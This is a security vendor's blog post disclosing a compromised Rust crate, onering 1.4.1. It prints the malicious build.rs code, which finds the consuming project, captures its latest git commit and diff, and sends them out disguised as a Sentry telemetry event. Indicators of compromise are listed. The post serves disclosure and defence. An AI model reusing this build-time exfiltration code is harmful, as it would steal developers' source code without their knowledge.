Aikido

Compromised Rust crate onering performs code exfiltration

Written by
Ilyas Makari

On June 10th 2026, we detected malicious behavior in the latest version, 1.4.1, of the Rust crate "onering". Onering is a high-throughput synchronous queue and channels library for Rust, with over 18,000 downloads on crates.io. In the last few weeks npm, PyPI, and GitHub got most of the attention with a wave of supply chain compromises. This week it is Rust's turn.

The latest version added a build.rs file that quietly harvests git data from whatever project is building the crate and ships it to a remote server, including the actual source code of your most recent commit. We have seen attackers get creative with running payloads at build time in npm and PyPI before, and now they are experimenting with it in Rust. While most recent supply chain attacks have focused on stealing credentials, this one seems to be purely focused on source code.

The problem is not limited to the package published on crates.io. The maintainer's GitHub repository also appears to be compromised, so pulling the crate from git rather than the registry does not make you safe. We immediately alerted the maintainer: https://github.com/cenotelie/onering/issues/1

What the malicious build.rs does

A build.rs is a build script. Cargo compiles and runs it on the developer's machine during the build. That makes it a high-value place to hide a payload, because simply depending on the crate and building is enough to trigger it. You never have to call a single function from the library.

The injected build.rs does three things.

First, it locates the root of the project that is consuming the crate, not its own directory. It walks up from OUT_DIR until it finds the target directory, then takes its parent. The result is your repository.

fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
    let dir = PathBuf::from(std::env::var("OUT_DIR")?);
    let mut project_dir = &*dir;
    while let Some(parent) = project_dir.parent() {
        if let Some(last) = parent.iter().last()
            && last == "target"
            && let Some(parent) = parent.parent()
        {
            project_dir = parent;
            break;
        }
        project_dir = parent;
    }
    Ok(project_dir.to_path_buf())
}

Second, it runs two git commands against your repository. One gathers commit metadata. The other captures the full textual diff of your most recent commit.

let Ok(commit) = git(
    &project_path,
    &[
        "log",
        "-n",
        "1",
        r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
    ],
) else {
    return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
    return;
};

The git diff HEAD^ HEAD call grabs the full diff of your latest commit, which gets exfiltrated every time you build, so over many commits, it leaks a rolling stream of your real source changes rather than a single snapshot.

Third, it disguises the stolen data as a Sentry telemetry event and POSTs it with curl to a Sentry ingest endpoint. The commit metadata becomes the event tags, and your code diff is stuffed into the extra.patch field.

let payload = format!(
    r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
    Uuid::new_v4().as_simple(),
    patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
    "POST",
    "https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
    &["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
    &payload,
) else {
    return;
};

The disguise is deliberate. To anyone who notices outbound traffic during a build, a request to a Sentry ingest URL reads as ordinary crash reporting. There is also a leftover commented line, // std::fs::write("data.txt", payload), which strongly suggests the payload was tested locally by writing it to disk before the network call was wired up.

How Aikido detects this

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

Indicators of compromise

  • Dependency onering version 1.4.1 from crates.io.
  • The Sentry ingest endpoint https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/.
  • The Sentry DSN public key 8197ee42c4f59c83f4cc6d48f5bae821, organization id o4511539639222272, and project id 4511539669368912.
Share:

https://www.aikido.dev/blog/compromised-rust-crate-onering-performs-code-exfiltration

4.7/5
Tired of false positives?

Try Aikido like 100k others.
Start Now
Get a personalized walkthrough

Trusted by 100k+ teams

Book Now
Scan your app for IDORs and real attack paths

Trusted by 100k+ teams

Start Scanning
See how AI pentests your app

Trusted by 100k+ teams

Start Testing

Get secure now

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required | Scan results in 32secs.